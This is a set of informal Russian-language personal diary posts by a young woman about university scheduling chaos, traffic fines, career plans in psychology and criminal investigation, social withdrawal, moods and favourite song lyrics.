Приехала 29 января в общагу, надо было на танцы сходить, ну и хотелось просто потусить в городе перед учебой. Учимся с первого, я подумала, что мне три дня хватит. В итоге расписание деканат скинул нам в субботу вечером и на первые два дня. Нихрена не видно на этой фотке, какие пары, у кого, что, но главное мы поняли: не учимся пн-вт. А дальше расписание не удосужились сфотать! Пришлось старостам ехать в пн утром в универ. И, как оказалось, мы не учимся до четверга. Отлично! Нахрена я вообще сюда приехала тогда… Ладно я, мне тут полтора часа на электричке, а те, кому пол суток ехать, че им делать?
И зла не хватает на такую безответственность. Я уже настроилась учиться, а тут такой облом, еще и дисциплины какие-то дурацкие.
" Принятие и исполнение государственных решений", "Связи с общественность в органах государственной власти", "Геополитика", "Инновационный менеджмент".
Не хочу ничего знать.

один за одним прилетели мне уже пять штрафов из ГИБДД :D

понимаете, как мне порой весело бывает с самой собой по ночам, да? спидометр что ли починить…

забавно еще наблюдать реакцию родителей: "Блин, ну Аня, ты че как маленькая, не знаешь что ли: где камеры висят - там надо по правилам ездить!" Люблю их.

В тему седины, срочно мчусь сегодня за краской, ибо то, что у меня на челке, приводит меня в ужас. Думаю люди, при виде проседи, мысленно прибавляют мне годков 5 :D

А Андрею нра, говорит, что я Роуг и вытягиваю энергию из людей, а я смеюсь и зовую его своим Россомахой :)

Уже несколько дней никак не могу собраться и написать что-то большое и от себя, остаётся только репостить чужие записи. У меня накопилось в душе, и сейчас я хочу сказать обо всем понемногу. Первым в голову приходит пост Ксюши о том, что ей приятно, когда другие доверяют ей тайны. Я даже словами не могу описать, как я её понимаю. Мне всю жизнь были дороги секреты других, а люди, в свою очередь, прекрасно знали, что дальше меня их тайны не пойдут. Может, именно поэтому я выбрала психологию как дело своей жизни. Вот мы плавно и подошли ко второй вещи, которой я хотела бы с вами поделиться. Я впервые задумалась о втором высшем образовании. Я не хочу ничего загадывать, не знаю, как буду все это проворачивать, но желание есть и оно пока что крепкое. На второе высшее я хочу поступить на следователя в академию МВД. Ещё с детства, начитавшись историй о детективах, я просто заболела этим разгадыванием тайн, загадок. Я всегда любила лазать по труднодоступным местам, представлять, как и что здесь происходило. У меня всегда было логическое мышление, я спокойно составляла цепочки событий и делала выводы. Родительские сериалы, прочитанные повести о Шерлоке Холмсе и Настоящий детектив окончательно убедили меня в том, что мне это нравится. Родители, к моему огромному удивлению, очень меня поддержали. Это уже второй раз, с психологией было то же самое. Правда, они предложили рассмотреть профессию суд мед эксперта, но копаться в трупах мне всю жизнь не хочется. А у следователей могут начаться всякие перестрелки и я вовсе умру где-нибудь. Однако, ещё когда я не знала, чего хочу от жизни, я могла твёрдо сказать одно: я не хочу сидеть на месте, мне нужна работа, где будет адреналин, интерес и проч. Только вот я же в Германию поступать собралась, понятия не имею.. В общем, все, надо разобраться сначала с экзаменами, а то я распланировала своё будущее слишком далеко. Просто захотелось поделиться. Далее, пожалуй, скажу то, что я стала чертовски асоциальной. Вчера меня вытащили погулять друзья, а я плелась метрах в 300 сзади и смотрела на дома. Чуть не сбежала несколько раз. Мне просто было ТАК неуютно с людьми, я так давно не была в толпе, недели две, если не считать тусы на день рождения, когда я ночью сбежала из дома, ну, вы должны помнить. Но тогда был алкоголь и асоциальность как-то не проявлялась. Через "не хочу" и после уговоров подруги согласилась пойти гулять с мальчиком в четверг и с другим в субботу. Когда какие-то отношения маячат на горизонте, я начинаю понимать, что боже, отстаньте от меня, мне одной замечательно. Потом напишу, как все прошло. Ну и последняя новость. У нас в квартире есть комната, в которой никто не обитает. Там просто кровать, шкаф, тумбочка, всякие кошачьи примочки и всё. Эта комната соединена с моей длинной лоджией. Поэтому теперь я решила устроить себе некий одноэтажный пентхаус, и теперь я сплю здесь, а остальное время провожу у себя. Такая мини-квартира получилась. А кровать ещё двуспальная и очень клевая. Спасибо, что прочитали, улыбайтесь и обнимайтесь, я вас люблю❤

Мне снился сон, что меня любили. С нежностью, трогательно и без лишних слов. Так, как это бывает в фильмах, - он целовал мои руки и мы понимали друг друга без слов.

Мне плевать, что будет завтра - но сегодня я чувствую себя абсолютно счастливой. И в который раз подтверждаю для самой себя теорию о том, что всё в нашей голове. Нет, я не беременна, не выхожу замуж и даже не влюбилась. Просто в воздухе так и веет счастьем. Я нахожу его буквально во всем сегодня. Меня никто не раздражает и даже этап с общественным транспортом в час пик я прошла улыбаясь где то внутри в себя. Мне так наплевать. Будьте счастливы и вы! мне бы хотелось этого для каждого)

Знаешь, думать и париться -
Бесполезная тема.
Мы с тобой поднимаемся
По лезвию в небо,
И не хочется сдержанным быть
И обыкновенным,
когда ты это бешенство
Запускаешь по венам.

(Нервы - Батареи)

Если бы мы знали, как влюбляться,
Тогда наверняка бы выбирали себе теплых людей,
А не обложки глянцевые.

* * *

И только ты умела окрылять
Только ты запрещала пить до утра вчерашний коньяк.

* * *

Мы разобранный конструктор, но выскользнув из рук вмиг
Станем осколками из дружбы и любви.

* * *

Мы поломанные, нас невозможно восстановить и полюбить.

Откуда берутся эти волны ненависти и агрессии? Отвратительное - человек понятно является катализатором этого, но что поддерживает это состояние? Все так ярко смешивается: гнев, ненависть, желание причинить боль. Растрощить кости. Вот бы уметь это. Такая суперсила, я бы согласилась. Сегодня меня постиг жуткий приступ страха. Внешне он не был объективно ни чем не вызван, но в груди будто все поплавилось, стало жидким и черным. Может, это была я? Настоящая?

Восемь способов заполучить Ваше сердце 1. Не старайтесь это делать 2. См.пункт 1 3.См.пункт 1 4.См.пункт 1 5.См.пункт 1 6.См.пункт 1 7.См.пункт 1 8.См.пункт 1